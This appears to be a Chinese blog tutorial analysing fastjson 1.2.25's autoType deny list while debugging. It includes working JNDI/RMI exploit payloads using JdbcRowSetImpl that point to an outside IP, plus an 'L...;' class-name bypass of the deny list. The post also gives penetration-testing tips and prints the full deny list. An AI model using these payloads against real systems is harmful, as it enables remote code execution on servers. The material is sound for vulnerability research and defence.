• 从0开始fastjson漏洞分析3


      前面两篇文章分析了fastjson的两条利用链,他们分别是:

      (1)Fastjson 1.2.24 远程代码执⾏&&TemplatesImpl,依赖Feature.SupportNonPublicField 利用链

      (2)Fastjson 1.2.24 远程代码执行 JNDI && JdbcRowSetImpl利⽤链

      现在升级我们的fastjson版本到1.2.25:

      pom.xml:

         <dependency>
                <groupId>com.alibaba</groupId>
                <artifactId>fastjson</artifactId>
                <version>1.2.25</version>
            </dependency>

      还是使用1.2.24的exp:

        

     public static void main(String[] args) throws ClassNotFoundException {
            Class.forName("com.sun.rowset.JdbcRowSetImpl");
            Class.forName("com.alibaba.fastjson.parser.DefaultJSONParser");
            String poc = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://119.45.227.86:123/Exploit","autoCommit":true}";
            JSON.parse(poc);
        }

      调试分析下:

        

      一直往下执行:

        

      发现这么一段代码:

        

     if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                            ref = lexer.scanSymbol(this.symbolTable, '"');
                            Class<?> clazz = this.config.checkAutoType(ref, (Class)null);
                            if (clazz != null) {

      这在fastjson1.2.24上是没有的,会对我们输入json文本中解析的类进行检测,调用了checkAutoType函数:

      跟进:

        

      判断autoTypeSupport是否为真,这里不为真,直接往下走:

      

      这里autoTypeSupport是false,所以不走这里,直接走else:

      一步步往下执行:

        

      

     if (!this.autoTypeSupport) {
                        String accept;
                        int i;
                        for(i = 0; i < this.denyList.length; ++i) {
                            accept = this.denyList[i];
                            if (className.startsWith(accept)) {
                                throw new JSONException("autoType is not support. " + typeName);
                            }
                        }

      会遍历denyList数组数据:

          

    ["bsh", "com.mchange", "com.sun.", "java.lang.Threa...", "java.net.Socket", +17 more]

      所有黑名单列表,只要攻击者使用这些类,立马触发异常拦截

    0 = "bsh"
    1 = "com.mchange"
    2 = "com.sun."
    3 = "java.lang.Thread"
    4 = "java.net.Socket"
    5 = "java.rmi"
    6 = "javax.xml"
    7 = "org.apache.bcel"
    8 = "org.apache.commons.beanutils"
    9 = "org.apache.commons.collections.Transformer"
    10 = "org.apache.commons.collections.functors"
    11 = "org.apache.commons.collections4.comparators"
    12 = "org.apache.commons.fileupload"
    13 = "org.apache.myfaces.context.servlet"
    14 = "org.apache.tomcat"
    15 = "org.apache.wicket.util"
    16 = "org.codehaus.groovy.runtime"
    17 = "org.hibernate"
    18 = "org.jboss"
    19 = "org.mozilla.javascript"
    20 = "org.python.core"
    21 = "org.springframework"

      

    其中包含了我们的com.sun,继续往下执行:

        

        

     if (className.startsWith(accept)) {
                                throw new JSONException("autoType is not support. " + typeName);
                            }

      因为exp开头包含com.sun,所以直接提示autoType不支持

     

       所以在实战渗透中如果你一个exp过去,提示autoType is not support +classname,那么多半是你的恶意类触发黑名单了

      所以就需要去绕过:使用黑名单的方式,是非常不安全的,只要我们修改exp中的@type的value为[恶意字符串com恶意字符串.恶意字符串sun恶意字符串.rowset.JdbcRowSetImpl],这样startsWith就匹配不到了.

        

    继续往下走:

       会进行判断:

      最后判断,如果autoTypeSupport是false,就说autoTyp不支持,白名单处理

        

      fastjson默认关闭autoTypeSupport..

        如果开启fastjson autoTypeSupport会怎么样?

        exploit:

          

    package com.test.fastjson.Exploit_chain2;
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.ParserConfig;
    
    public class ExploitPoc {
        public static void main(String[] args) throws ClassNotFoundException {
            //设置AutoTypeSupport为真,默认AutoTypeSupport是fasle
            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            String poc ="{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://119.45.227.86:123/Exploit","autoCommit":true}";
            JSON.parse(poc);
        }
    }

      重新debug下,进去:

        

      继续跟:

        

     

      把一整块代码贴出来:

        

     if (!this.autoTypeSupport) {
                        String accept;
                        int i;
                        for(i = 0; i < this.denyList.length; ++i) {
                            accept = this.denyList[i];
                            if (className.startsWith(accept)) {
                                throw new JSONException("autoType is not support. " + typeName);
                            }
                        }
    
                        for(i = 0; i < this.acceptList.length; ++i) {
                            accept = this.acceptList[i];
                            if (className.startsWith(accept)) {
                                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                                }
    
                                return clazz;
                            }
                        }
                    }
    
                    if (this.autoTypeSupport || expectClass != null) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }

        

      

        直接来到这里:
          

          进入TypeUtils.loadClass方法:

        

        

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
            if (className != null && className.length() != 0) {
                Class<?> clazz = (Class)mappings.get(className);
                if (clazz != null) {
                    return clazz;
                } else if (className.charAt(0) == '[') {
                    Class<?> componentType = loadClass(className.substring(1), classLoader);
                    return Array.newInstance(componentType, 0).getClass();
                } else if (className.startsWith("L") && className.endsWith(";")) {
                    String newClassName = className.substring(1, className.length() - 1);
                    return loadClass(newClassName, classLoader);
                } else {

        写个demo:

        

    package com.test.fastjson.Exploit_chain2;
    
    public class Test {
        public static void main(String[] args) {
            String className = "Lcom.sun.rowset.JdbcRowSetImpl;";
            if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                System.out.println(newClassName);
            }
        }
    }

        

      当加载loadclass的时候会处理我们的calssname,我们前面type设置成Lcom.sun.rowset.JdbcRowSetImpl;

       即可绕过黑名单限制,从而达成命令执行

      结论:当setAutoTypeSupport为真的时候,可以绕过黑名单,否则无法攻击,除非在挖出一条新的利用链

      参考:phith0n fastjson绕过系列 

  • 相关阅读:
    lnmp配置https,配置pathinfo---------记录学习
    微信公众号第三方授权登录->自带源码-->自己记录学习
    二维数组排序
    php 图片,文件下载
    PHP最彻底的退出登录,清除session、cookie的代码
    php 安装redis扩展
    2020系统综合实践(七)第15组
    2020系统综合实践(六)第15组
    2020系统综合实践(五)
    2020系统综合实践(四)
  • 原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14780995.html
Copyright © 2020-2023  润新知